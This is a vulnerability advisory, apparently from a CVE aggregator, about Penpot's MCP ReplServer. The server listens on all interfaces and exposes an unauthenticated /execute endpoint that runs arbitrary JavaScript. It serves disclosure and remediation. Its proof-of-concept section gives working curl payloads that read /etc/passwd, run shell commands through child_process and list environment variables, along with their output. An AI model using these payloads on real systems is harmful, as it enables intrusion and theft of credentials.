PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Description
Summary
The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.
Details
mcp/packages/server/src/ReplServer.ts:89:
this.server = this.app.listen(this.port, () => {
// NO HOST ARGUMENT — Express defaults to 0.0.0.0
Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):
this.app.listen(this.port, this.host, async () => {
The /execute endpoint at ReplServer.ts:52-79:
this.app.post("/execute", async (req, res) => {
const { code } = req.body;
// No auth check. Executes code via PluginBridge.executePluginTask()
const task = new ExecuteCodePluginTask({ code });
const result = await this.pluginBridge.executePluginTask(task);
No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.
This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.
PoC
I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES
Unauthenticated code execution:
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}
Binding verification:
$ ss -tlnp | grep 4403
LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))
Listening on *:4403 — all interfaces.
Remote access from Docker container:
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)
Reachable from any container on the Docker network.
Impact
Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.
Suggested fix
Two lines:
1. Add a host parameter to the listen call in ReplServer.ts:89: ``typescript this.server = this.app.listen(this.port, 'localhost', () => { ``
- Add authentication to the
/executeendpoint. Even a shared secret from an environment variable would be better than nothing.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Penpot MCP ReplServer binds to 0.0.0.0:4403 with no authentication, allowing unauthenticated remote code execution.
Vulnerability
The Penpot MCP module's ReplServer (file mcp/packages/server/src/ReplServer.ts) binds to all network interfaces on TCP port 4403 because this.app.listen(this.port) is called without a host argument, defaulting Express to 0.0.0.0 [1][2][3]. The /execute endpoint accepts POST requests with a JSON body containing a code field, then executes that JavaScript via PluginBridge.executePluginTask() with no authentication or authorization checks [2][3]. This issue was partially addressed for the main PenpotMcpServer in PR #8683, but the ReplServer was not included in that fix; on current develop the binding remains unrestricted [2][3].
Exploitation
An attacker only needs network access to the server (e.g., on the same LAN, or if exposed to the internet) [1][2]. No authentication, session, or user interaction is required [2][3]. The attacker sends an HTTP POST request to http://:4403/execute with Content-Type: application/json and a body like {"code":"... arbitrary JavaScript ..."} [2][3]. The code runs immediately in the server process context [2][3].
Impact
Successful exploitation yields arbitrary remote code execution (RCE) with the privileges of the Penpot MCP server process [2][3]. An attacker can read, write, or delete files, exfiltrate sensitive data (e.g., /etc/passwd), install backdoors, pivot to internal systems, or otherwise fully compromise the host [2][3]. The impact is total loss of confidentiality, integrity, and availability for the affected server.
Mitigation
As of CVE publication (2026-05-19), no official fix has been released for ReplServer.ts [2][3]. The advisory notes that PR #8686 attempted a fix but was closed without merging, and only touched PenpotMcpServer.ts and vite.config.ts — not ReplServer.ts [2][3]. Users should immediately disable the MCP module or block network access to port 4403 (e.g., using a firewall) until a patch is available [1][2][3]. Monitor the Penpot GitHub repository for updates [1].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
2News mentions
0No linked articles in our index yet.